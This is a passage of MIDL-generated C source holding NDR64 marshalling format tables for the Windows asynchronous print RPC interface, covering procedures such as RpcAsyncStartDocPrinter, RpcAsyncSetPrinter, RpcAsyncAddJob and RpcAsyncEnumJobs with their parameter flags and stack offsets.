     0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag214\n        },\n        { \n        /* DOC_INFO_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag212_t __midl_frag212 =\n{ \n/* *DOC_INFO_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag213\n};\n\nstatic const __midl_frag210_t __midl_frag210 =\n{ \n/* RpcAsyncStartDocPrinter */\n    { \n    /* RpcAsyncStartDocPrinter */      /* procedure RpcAsyncStartDocPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag495,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pDocInfoContainer */      /* parameter pDocInfoContainer */\n        &__midl_frag213,\n        { \n        /* pDocInfoContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pJobId */      /* parameter pJobId */\n        &__midl_frag948,\n        { \n        /* pJobId */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag207_t __midl_frag207 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag948\n};\n\nstatic const __midl_frag204_t __midl_frag204 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag203_t __midl_frag203 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag204\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag202_t __midl_frag202 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag203\n};\n\nstatic const __midl_frag199_t __midl_frag199 =\n{ \n/* RpcAsyncGetPrinter */\n    { \n    /* RpcAsyncGetPrinter */      /* procedure RpcAsyncGetPrinter */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag495,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag948,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPrinter */      /* parameter pPrinter */\n        &__midl_frag202,\n        { \n        /* pPrinter */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag196_t __midl_frag196 =\n{ \n/* *SECURITY_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag92\n};\n\nstatic const __midl_frag195_t __midl_frag195 =\n{ \n/* *DEVMODE_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag10\n};\n\nstatic const __midl_frag194_t __midl_frag194 =\n{ \n/* *PRINTER_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag37\n};\n\nstatic const __midl_frag193_t __midl_frag193 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag192_t __midl_frag192 =\n{ \n/* RpcAsyncSetPrinter */\n    { \n    /* RpcAsyncSetPrinter */      /* procedure RpcAsyncSetPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag193,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterContainer */      /* parameter pPrinterContainer */\n        &__midl_frag37,\n        { \n        /* pPrinterContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag10,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pSecurityContainer */      /* parameter pSecurityContainer */\n        &__midl_frag92,\n        { \n        /* pSecurityContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* Command */      /* parameter Command */\n        &__midl_frag948,\n        { \n        /* Command */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag189_t __midl_frag189 =\n{ \n/* RpcAsyncDeletePrinter */\n    { \n    /* RpcAsyncDeletePrinter */      /* procedure RpcAsyncDeletePrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag193,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag185_t __midl_frag185 =\n{ \n/* RpcAsyncScheduleJob */\n    { \n    /* RpcAsyncScheduleJob */      /* procedure RpcAsyncScheduleJob */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag193,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag948,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag174_t __midl_frag174 =\n{ \n/* RpcAsyncAddJob */\n    { \n    /* RpcAsyncAddJob */      /* procedure RpcAsyncAddJob */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag193,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag948,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pAddJob */      /* parameter pAddJob */\n        &__midl_frag202,\n        { \n        /* pAddJob */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag159_t __midl_frag159 =\n{ \n/* RpcAsyncEnumJobs */\n    { \n    /* RpcAsyncEnumJobs */      /* procedure RpcAsyncEnumJobs */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 9 /* 0x9 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag193,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* FirstJob */      /* parameter FirstJob */\n        &__midl_frag948,\n        { \n        /* FirstJob */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NoJobs */      /* parameter NoJobs */\n        &__midl_frag948,\n        { \n        /* NoJobs */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag948,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pJob */      /* parameter pJob */\n        &__midl_frag829,\n        { \n        /* pJob */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag948,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag152_t __midl_frag152 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag254\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag151_t __midl_frag151 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag152\n};\n\nstatic const __midl_frag147_t __midl_frag147 =\n{ \n/* RpcAsyncGetJob */\n    { \n    /* RpcAsyncGetJob */      /* procedure RpcAsyncGetJob */\n        (NDR64_UINT32) 23986240 /* 